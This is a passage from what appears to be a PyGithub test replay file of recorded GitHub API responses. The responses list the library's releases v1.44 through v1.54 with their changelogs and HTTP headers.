(fab682a5)\r\n"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/34560445","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/34560445/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/34560445/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.54","id":34560445,"author":{"login":"s-t-e-v-e-n-k","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/s-t-e-v-e-n-k","html_url":"https://github.com/s-t-e-v-e-n-k","followers_url":"https://api.github.com/users/s-t-e-v-e-n-k/followers","following_url":"https://api.github.com/users/s-t-e-v-e-n-k/following{/other_user}","gists_url":"https://api.github.com/users/s-t-e-v-e-n-k/gists{/gist_id}","starred_url":"https://api.github.com/users/s-t-e-v-e-n-k/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/s-t-e-v-e-n-k/subscriptions","organizations_url":"https://api.github.com/users/s-t-e-v-e-n-k/orgs","repos_url":"https://api.github.com/users/s-t-e-v-e-n-k/repos","events_url":"https://api.github.com/users/s-t-e-v-e-n-k/events{/privacy}","received_events_url":"https://api.github.com/users/s-t-e-v-e-n-k/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTM0NTYwNDQ1","tag_name":"v1.54","target_commitish":"master","name":"","draft":false,"prerelease":false,"created_at":"2020-11-30T05:43:49Z","published_at":"2020-11-30T05:50:58Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.54","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.54","body":"**Important**\r\n\r\nThis is the last release that will support Python 3.5.\r\n\r\n**Breaking Changes**\r\n\r\nThe Github.get_installation(integer) method has been removed.\r\nRepository.create_deployment()'s payload parameter is now a dictionary.\r\n\r\n**Bug Fixes & Improvements**\r\n\r\n* Add support for Check Suites (#1764) (6d501b28)\r\n* Add missing preview features of Deployment and Deployment Statuses API (#1674) (197e0653)\r\n* Correct typing for Commit.get_comments() (#1765) (fcdd9eae)\r\n* Pin requests to <2.25 as well (#1757) (d159425f)\r\n* Add Support for Check Runs (#1727) (c77c0676)\r\n* Added a method for getting a user by their id (#1691) (4cfc9912)\r\n* Fix #1742 - incorrect typehint for `Installation.id` (#1743) (546f6495)\r\n* Add WorkflowRun.workflow_id (#1737) (78a29a7c)\r\n* Add support for Python 3.9 (#1735) (1bb18ab5)\r\n* Added support for the Self-Hosted actions runners API (#1684) (24251f4b)\r\n* Fix Branch protection status in the examples (#1729) (88800844)\r\n* Filter the DeprecationWarning in Team tests (#1728) (23f47539)\r\n* Added get_installations() to Organizations (#1695) (b42fb244)\r\n* Fix #1507: Add new Teams: Add or update team repository endpoint (#1509) (1c55be51)\r\n* Added support for `Repository.get_workflow_runs` parameters (#1682) (c23564dd)\r\n* feat(pullrequest): add the rebaseable attribute (#1690) (ee4c7a7e)\r\n* Add support for deleting reactions (#1708) (f7d203c0)\r\n* Correct type hint for InputGitTreeElement.sha (08b72b48)\r\n* Ignore new black formatting commit for git blame (#1680) (7ec4f155)\r\n* Format with new black (#1679) (07e29fe0)\r\n* Add get_timeline() to Issue's type stubs (#1663) (6bc9ecc8)"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/29803578","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/29803578/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/29803578/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.53","id":29803578,"author":{"login":"s-t-e-v-e-n-k","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/s-t-e-v-e-n-k","html_url":"https://github.com/s-t-e-v-e-n-k","followers_url":"https://api.github.com/users/s-t-e-v-e-n-k/followers","following_url":"https://api.github.com/users/s-t-e-v-e-n-k/following{/other_user}","gists_url":"https://api.github.com/users/s-t-e-v-e-n-k/gists{/gist_id}","starred_url":"https://api.github.com/users/s-t-e-v-e-n-k/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/s-t-e-v-e-n-k/subscriptions","organizations_url":"https://api.github.com/users/s-t-e-v-e-n-k/orgs","repos_url":"https://api.github.com/users/s-t-e-v-e-n-k/repos","events_url":"https://api.github.com/users/s-t-e-v-e-n-k/events{/privacy}","received_events_url":"https://api.github.com/users/s-t-e-v-e-n-k/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTI5ODAzNTc4","tag_name":"v1.53","target_commitish":"master","name":"","draft":false,"prerelease":false,"created_at":"2020-08-18T08:15:44Z","published_at":"2020-08-18T08:21:50Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.53","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.53","body":"* Test Organization.get_hook() (#1660) (2646a98c)\r\n* Add method get_team_membership for user to Team (#1658) (749e8d35)\r\n* Add typing files for OAuth classes (#1656) (429fcc73)\r\n* Fix Repository.create_repository_dispatch type signature (#1643) (f891bd61)\r\n* PaginatedList's totalCount is 0 if no last page (#1641) (69b37b4a)\r\n* Add initial support for Github Apps. (#1631) (260558c1)\r\n* Correct **kwargs typing for search_* (#1636) (165d995d)\r\n* Add delete_branch_on_merge arg to Repository.edit type stub (#1639) (15b5ae0c)\r\n* Fix type stub for MainClass.get_user (#1637) (8912be64)\r\n* Add type stub for Repository.create_fork (#1638) (de386dfb)\r\n* Correct Repository.create_pull typing harder (#1635) (5ad091d0)"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/29219442","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/29219442/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/29219442/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.52","id":29219442,"author":{"login":"s-t-e-v-e-n-k","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/s-t-e-v-e-n-k","html_url":"https://github.com/s-t-e-v-e-n-k","followers_url":"https://api.github.com/users/s-t-e-v-e-n-k/followers","following_url":"https://api.github.com/users/s-t-e-v-e-n-k/following{/other_user}","gists_url":"https://api.github.com/users/s-t-e-v-e-n-k/gists{/gist_id}","starred_url":"https://api.github.com/users/s-t-e-v-e-n-k/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/s-t-e-v-e-n-k/subscriptions","organizations_url":"https://api.github.com/users/s-t-e-v-e-n-k/orgs","repos_url":"https://api.github.com/users/s-t-e-v-e-n-k/repos","events_url":"https://api.github.com/users/s-t-e-v-e-n-k/events{/privacy}","received_events_url":"https://api.github.com/users/s-t-e-v-e-n-k/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTI5MjE5NDQy","tag_name":"v1.52","target_commitish":"master","name":"","draft":false,"prerelease":false,"created_at":"2020-08-03T08:45:52Z","published_at":"2020-08-03T08:47:09Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.52","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.52","body":"* upload_asset with data in memory (#1601) (a7786393)\r\n* Make Issue.closed_by nullable (#1629) (06dae387)\r\n* Add support for workflow dispatch event (#1625) (16850ef1)\r\n* Do not check reaction_type before sending (#1592) (136a3e80)\r\n* Various Github Action improvement (#1610) (416f2d0f)\r\n* more flexible header splitting (#1616) (85e71361)\r\n* Create Dependabot config file (#1607) (e272f117)\r\n* Add support for deployment statuses (#1588) (048c8a1d)\r\n* Adds the 'twitter_username' attribute to NamedUser. (#1585) (079f75a7)\r\n* Create WorkflowRun.timing namedtuple from the dict (#1587) (1879518e)\r\n* Add missing properties to PullRequest.pyi (#1577) (c84fad81)\r\n* Add support for Workflow Runs (#1583) (4fb1d23f)\r\n* More precise typing for Repository.create_pull (#1581) (4ed7aaf8)\r\n* Update sphinx-rtd-theme requirement from <0.5 to <0.6 (#1563) (f9e4feeb)\r\n* More precise typing for MainClass.get_user() (#1575) (3668f866)\r\n* Small documentation correction in Repository.py (#1565) (f0f6ec83)\r\n* Remove \"api_preview\" parameter from type stubs and docstrings\r\n (#1559) (cc1b884c)\r\n* Upgrade actions/setup-python to v2 (#1555) (6f1640d2)\r\n* Clean up tests for GitReleaseAsset (#1546) (925764ad)\r\n* Repository.update_file() content also accepts bytes (#1543) (9fb8588b)\r\n* Fix Repository.get_issues stub (#1540) (b40b75f8)\r\n* Check all arguments of NamedUser.get_repos() (#1532) (69bfc325)\r\n* Correct Workflow typing (#1533) (f41c046f)\r\n* Remove RateLimit.rate (#1529) (7abf6004)\r\n* PullRequestReview is not a completable object (#1528) (19fc43ab)\r\n* Test more attributes (#1526) (52ec366b)\r\n* Remove pointless setters in GitReleaseAsset (#1527) (1dd1cf9c)\r\n* Drop some unimplemented methods in GitRef (#1525) (d4b61311)\r\n* Remove unneeded duplicate string checks in Branch (#1524) (61b61092)\r\n* Turn on coverage reporting for codecov (#1522) (e79b9013)\r\n* Drastically increase coverage by checking repr() (#1521) (291c4630)\r\n* Fixed formatting of docstrings for `Repository.create_git_tag_and_release()`\r\n and `StatsPunchCard`. (#1520) (ce400bc7)\r\n* Remove Repository.topics (#1505) (53d58d2b)\r\n* Small improvements to typing (#1517) (7b20b13d)\r\n* Correct Repository.get_workflows() (#1518) (8727003f)\r\n* docs(repository): correct releases link (#1514) (f7cc534d)\r\n* correct Repository.stargazers_count return type to int (#1513) (b5737d41)\r\n* Fix two RST warnings in Webhook.rst (#1512) (5a8bc203)\r\n* Filter FutureWarning for 2 test cases (#1510) (09a1d9e4)\r\n* Raise a FutureWarning on use of client_{id,secret} (#1506) (2475fa66)\r\n* Improve type signature for create_from_raw_data (#1503) (c7b5eff0)\r\n* feat(column): move, edit and delete project columns (#1497) (a32a8965)\r\n* Add support for Workflows (#1496) (a1ed7c0e)\r\n* Add create_repository_dispatch to typing files (#1502) (ba9d59c2)\r\n* Add OAuth support for GitHub applications (4b437110)\r\n* Create AccessToken entity (4a6468aa)\r\n* Extend installation attributes (61808da1)"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/26107841","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/26107841/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/26107841/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.51","id":26107841,"author":{"login":"sfdye","id":1016390,"node_id":"MDQ6VXNlcjEwMTYzOTA=","avatar_url":"https://avatars.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTI2MTA3ODQx","tag_name":"v1.51","target_commitish":"master","name":"","draft":false,"prerelease":false,"created_at":"2020-05-02T16:59:08Z","published_at":"2020-05-02T17:00:02Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.51","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.51","body":"* Type stubs are now packaged with the build (#1489) (6eba4506)\r\n* Travis CI is now dropped in favor of Github workflow (#1488) (d6e77ba1)\r\n* Get the project column by id (#1466) (63855409)\r\n"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/25890896","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/25890896/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/25890896/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.50","id":25890896,"author":{"login":"sfdye","id":1016390,"node_id":"MDQ6VXNlcjEwMTYzOTA=","avatar_url":"https://avatars.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTI1ODkwODk2","tag_name":"v1.50","target_commitish":"master","name":"","draft":false,"prerelease":false,"created_at":"2020-04-26T08:48:26Z","published_at":"2020-04-26T08:51:01Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.50","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.50","body":"**New features**\r\n\r\n* PyGithub now supports type checking thanks to (#1231) (91433fe9)\r\n* Slack is now the main channel of communication rather than Gitter (6a6e7c26)\r\n* Ability to retrieve public events (#1481) (5cf9950b)\r\n* Add and handle the maintainer_can_modify attribute in PullRequest (#1465) (e0997b43)\r\n* List matching references (#1471) (d3bc6a5c)\r\n* Add create_repository_dispatch (#1449) (edcbdfda)\r\n* Add some Organization and Repository attributes. (#1468) (3ab97d61)\r\n* Add create project method (801ea385)\r\n\r\n**Bug Fixes & Improvements**\r\n\r\n* Drop use of shadow-cat for draft PRs (#1469) (84bb69ab)\r\n* AuthenticatedUser.get_organization_membership() should be str (#1473) (38b34db5)\r\n* Drop documentation for len() of PaginatedList (#1470) (70462598)\r\n* Fix param name of projectcard's move function (#1451) (bafc4efc)\r\n* Correct typos found with codespell (#1467) (83bef0f7)\r\n* Export IncompletableObject in the github namespace (#1450) (0ebdbb26)\r\n* Add GitHub Action workflow for checks (#1464) (f1401c15)\r\n* Drop unneeded ignore rule for flake8 (#1454) (b4ca9177)\r\n* Use pytest to parametrize tests (#1438) (d2e9bd69)"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/24534063","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/24534063/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/24534063/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.47","id":24534063,"author":{"login":"s-t-e-v-e-n-k","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/s-t-e-v-e-n-k","html_url":"https://github.com/s-t-e-v-e-n-k","followers_url":"https://api.github.com/users/s-t-e-v-e-n-k/followers","following_url":"https://api.github.com/users/s-t-e-v-e-n-k/following{/other_user}","gists_url":"https://api.github.com/users/s-t-e-v-e-n-k/gists{/gist_id}","starred_url":"https://api.github.com/users/s-t-e-v-e-n-k/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/s-t-e-v-e-n-k/subscriptions","organizations_url":"https://api.github.com/users/s-t-e-v-e-n-k/orgs","repos_url":"https://api.github.com/users/s-t-e-v-e-n-k/repos","events_url":"https://api.github.com/users/s-t-e-v-e-n-k/events{/privacy}","received_events_url":"https://api.github.com/users/s-t-e-v-e-n-k/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTI0NTM0MDYz","tag_name":"v1.47","target_commitish":"master","name":"","draft":false,"prerelease":false,"created_at":"2020-03-15T02:01:20Z","published_at":"2020-03-15T05:49:11Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.47","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.47","body":"**Bug Fixes & Improvements**\r\n\r\n* Add support to edit and delete a project (#1434) (f11f7395)\r\n* Add method for fetching pull requests associated with a commit (#1433) (0c55381b)\r\n* Add \"get_repo_permission\" to Team class (#1416) (219bde53)\r\n* Add list projects support, update tests (#1431) (e44d11d5)\r\n* Don't transform completely in PullRequest.*assignees (#1428) (b1c35499)\r\n* Add create_project support, add tests (#1429) (bf62f752)\r\n* Add draft attribute, update test (bd285248)\r\n* Docstring for Repository.create_git_tag_and_release (#1425) (bfeacded)\r\n* Create a tox docs environment (#1426) (b30c09aa)\r\n* Add Deployments API (#1424) (3d93ee1c)\r\n* Add support for editing project cards (#1418) (425280ce)\r\n* Add draft flag parameter, update tests (bd0211eb)\r\n* Switch to using pytest (#1423) (c822dd1c)\r\n* Fix GitMembership with a hammer (#1420) (f2939eb7)\r\n* Add support to reply to a Pull request comment (#1374) (1c82573d)\r\n* PullRequest.update_branch(): allow expected_head_sha to be empty (#1412) (806130e9)\r\n* Implement ProjectCard.delete() (#1417) (aeb27b78)\r\n* Add pre-commit plugin for black/isort/flake8 (#1398) (08b1c474)\r\n* Add tox (#1388) (125536fe)\r\n* Open file in text mode in scripts/add_attribute.py (#1396) (0396a493)\r\n* Silence most ResourceWarnings (#1393) (dd31a706)\r\n* Assert more attributes in Membership (#1391) (d6dee016)\r\n* Assert on changed Repository attributes (#1390) (6e3ceb19)\r\n* Add reset to the repr for Rate (#1389) (0829af81)"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/23553566","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/23553566/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/23553566/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.46","id":23553566,"author":{"login":"s-t-e-v-e-n-k","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/s-t-e-v-e-n-k","html_url":"https://github.com/s-t-e-v-e-n-k","followers_url":"https://api.github.com/users/s-t-e-v-e-n-k/followers","following_url":"https://api.github.com/users/s-t-e-v-e-n-k/following{/other_user}","gists_url":"https://api.github.com/users/s-t-e-v-e-n-k/gists{/gist_id}","starred_url":"https://api.github.com/users/s-t-e-v-e-n-k/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/s-t-e-v-e-n-k/subscriptions","organizations_url":"https://api.github.com/users/s-t-e-v-e-n-k/orgs","repos_url":"https://api.github.com/users/s-t-e-v-e-n-k/repos","events_url":"https://api.github.com/users/s-t-e-v-e-n-k/events{/privacy}","received_events_url":"https://api.github.com/users/s-t-e-v-e-n-k/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTIzNTUzNTY2","tag_name":"v1.46","target_commitish":"master","name":"","draft":false,"prerelease":false,"created_at":"2020-02-11T01:33:45Z","published_at":"2020-02-11T01:40:08Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.46","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.46","body":"**Important**\r\n\r\nPython 2 support has been removed. If you still require Python 2, use 1.45.\r\n\r\n**Bug Fixes & Improvements**\r\n\r\n* Add repo edit support for delete_branch_on_merge (#1381) (9564cd4d)\r\n* Fix mistake in Repository.create_fork() (#1383) (ad040baf)\r\n* Correct two attributes in Invitation (#1382) (882fe087)\r\n* Search repo issues by string label (#1379) (4ae1a1e5)\r\n* Correct Repository.create_git_tag_and_release() (#1362) (ead565ad)\r\n* exposed seats and filled_seats for Github Organization Plan (#1360) (06a300ae)\r\n* Repository.create_project() body is optional (#1359) (0e09983d)\r\n* Implement move action for ProjectCard (#1356) (b11add41)\r\n* Tidy up ProjectCard.get_content() (#1355) (dd80a6c0)\r\n* Added nested teams and parent (#1348) (eacabb2f)\r\n* Correct parameter for Label.edit (#1350) (16e5f989)\r\n* doc: example of Pull Request creation (#1344) (d5ad09ae)\r\n* Fix PyPI wheel deployment (#1330) (4561930b)"}] https GET api.github.com None /repositories/3544490/releases?per_page=10&page=2 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Mon, 10 Jan 2022 15:55:51 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"85c9c22a03038f1fc35f595b7645182b54bc8e3619e278c2a091207a8132a77d"'), ('X-OAuth-Scopes', 'repo, workflow'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Link', '; rel="prev", ; rel="next", ; rel="last", ; rel="first"'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4638'), ('X-RateLimit-Reset', '1641832874'), ('X-RateLimit-Used', '362'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'DA78:10B15:6AEF3CC:6CE8100:61DC5706')] [{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/22500330","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/22500330/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/22500330/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.45","id":22500330,"author":{"login":"s-t-e-v-e-n-k","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/s-t-e-v-e-n-k","html_url":"https://github.com/s-t-e-v-e-n-k","followers_url":"https://api.github.com/users/s-t-e-v-e-n-k/followers","following_url":"https://api.github.com/users/s-t-e-v-e-n-k/following{/other_user}","gists_url":"https://api.github.com/users/s-t-e-v-e-n-k/gists{/gist_id}","starred_url":"https://api.github.com/users/s-t-e-v-e-n-k/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/s-t-e-v-e-n-k/subscriptions","organizations_url":"https://api.github.com/users/s-t-e-v-e-n-k/orgs","repos_url":"https://api.github.com/users/s-t-e-v-e-n-k/repos","events_url":"https://api.github.com/users/s-t-e-v-e-n-k/events{/privacy}","received_events_url":"https://api.github.com/users/s-t-e-v-e-n-k/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTIyNTAwMzMw","tag_name":"v1.45","target_commitish":"master","name":"","draft":false,"prerelease":false,"created_at":"2019-12-29T03:48:30Z","published_at":"2019-12-29T03:51:35Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.45","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.45","body":"**Important**\r\n\r\n* This is the last release of PyGithub that will support Python 2.\r\n\r\n**Breaking Changes**\r\n\r\n* Branch.edit_{user,team}_push_restrictions() have been removed\r\n* The new API is:\r\n - Branch.add_{user,team}_push_restrictions() to add new members\r\n - Branch.replace_{user,team}_push_restrictions() to replace all members\r\n - Branch.remove_{user,team}_push_restrictions() to remove members\r\n* The api_preview parameter to Github() has been removed.\r\n\r\n**Bug Fixes & Improvements**\r\n\r\n* Allow sha=None for InputGitTreeElement (#1327) (60464f65)\r\n* Support github timeline events. (#1302) (732fd26a)\r\n* Update link to GitHub Enterprise in README (#1324) (e1537f79)\r\n* Cleanup travis config (#1322) (8189a538)\r\n* Add support for update branch (#1317) (baddb719)\r\n* Refactor Logging tests (#1315) (b0ef1909)\r\n* Fix rtd build (b797cac0)\r\n* Add .git-blame-ignore-revs (573c674b)\r\n* Apply black to whole codebase (#1303) (6ceb9e9a)\r\n* Fix class used returning pull request comments (#1307) (f8e33620)\r\n* Support for create_fork (#1306) (2ad51f35)\r\n* Use Repository.get_contents() in tests (#1301) (e40768e0)\r\n* Allow GithubObject.update() to be passed headers (#1300) (989b635e)\r\n* Correct URL for assignees on PRs (#1296) (3170cafc)\r\n* Use inclusive ordered comparison for 'parameterized' requirement (#1281) (fb19d2f2)\r\n* Deprecate Repository.get_dir_contents() (#1285) (21e89ff1)\r\n* Apply some polish to manage.sh (#1284) (3a723252)\r\n"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/21274492","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/21274492/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/21274492/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.44.1","id":21274492,"author":{"login":"s-t-e-v-e-n-k","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/s-t-e-v-e-n-k","html_url":"https://github.com/s-t-e-v-e-n-k","followers_url":"https://api.github.com/users/s-t-e-v-e-n-k/followers","following_url":"https://api.github.com/users/s-t-e-v-e-n-k/following{/other_user}","gists_url":"https://api.github.com/users/s-t-e-v-e-n-k/gists{/gist_id}","starred_url":"https://api.github.com/users/s-t-e-v-e-n-k/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/s-t-e-v-e-n-k/subscriptions","organizations_url":"https://api.github.com/users/s-t-e-v-e-n-k/orgs","repos_url":"https://api.github.com/users/s-t-e-v-e-n-k/repos","events_url":"https://api.github.com/users/s-t-e-v-e-n-k/events{/privacy}","received_events_url":"https://api.github.com/users/s-t-e-v-e-n-k/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTIxMjc0NDky","tag_name":"v1.44.1","target_commitish":"master","name":"","draft":false,"prerelease":false,"created_at":"2019-11-07T01:44:10Z","published_at":"2019-11-07T01:50:38Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.44.1","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.44.1","body":"* Add Python 3.8 to classifiers list (#1280) (fec6034a)\r\n* Expand Topic class and add test coverage (#1252) (ac682742)\r\n* Add support for team discussions (#1246) (#1249) (ec3c8d7b)\r\n* Correct API for NamedUser.get_organization_membership (#1277) (077c80ba)\r\n* Correct header check for 2FA required (#1274) (6ad592b1)\r\n* Use replay framework for Issue142 test (#1271) (4d258d93)\r\n* Sync httpretty version requirement with setup.py (#1265) (99d38468)\r\n* Handle unicode strings when recording responses (#1253) (#1254) (faa1bbd6)\r\n* Add assignee removal/addition support to PRs (#1241) (a163ba15)\r\n* Check if the version is empty in manage.sh (#1268) (db294837)\r\n* Encode content for {create,update}_file (#1267) (bc225f9d)\r\n* Update changes.rst (#1263) (d7947d82)"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/20822625","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/20822625/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/20822625/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.44","id":20822625,"author":{"login":"s-t-e-v-e-n-k","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/s-t-e-v-e-n-k","html_url":"https://github.com/s-t-e-v-e-n-k","followers_url":"https://api.github.com/users/s-t-e-v-e-n-k/followers","following_url":"https://api.github.com/users/s-t-e-v-e-n-k/following{/other_user}","gists_url":"https://api.github.com/users/s-t-e-v-e-n-k/gists{/gist_id}","starred_url":"https://api.github.com/users/s-t-e-v-e-n-k/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/s-t-e-v-e-n-k/subscriptions","organizations_url":"https://api.github.com/users/s-t-e-v-e-n-k/orgs","repos_url":"https://api.github.com/users/s-t-e-v-e-n-k/repos","events_url":"https://api.github.com/users/s-t-e-v-e-n-k/events{/privacy}","received_events_url":"https://api.github.com/users/s-t-e-v-e-n-k/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTIwODIyNjI1","tag_name":"v1.44","target_commitish":"master","name":"","draft":false,"prerelease":false,"created_at":"2019-10-19T07:32:53Z","published_at":"2019-10-19T07:40:47Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.44","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.44","body":"**New features**\r\n* This version supports running under Python 3 directly, and the test suite\r\n passes under both 2.7 and recent 3.x's.\r\n\r\n**Bug Fixes & Improvements**\r\n* Stop ignoring unused imports and remove them (#1250) (a0765083)\r\n* Bump httpretty to be a greater or equal to (#1262) (27092fb0)\r\n* 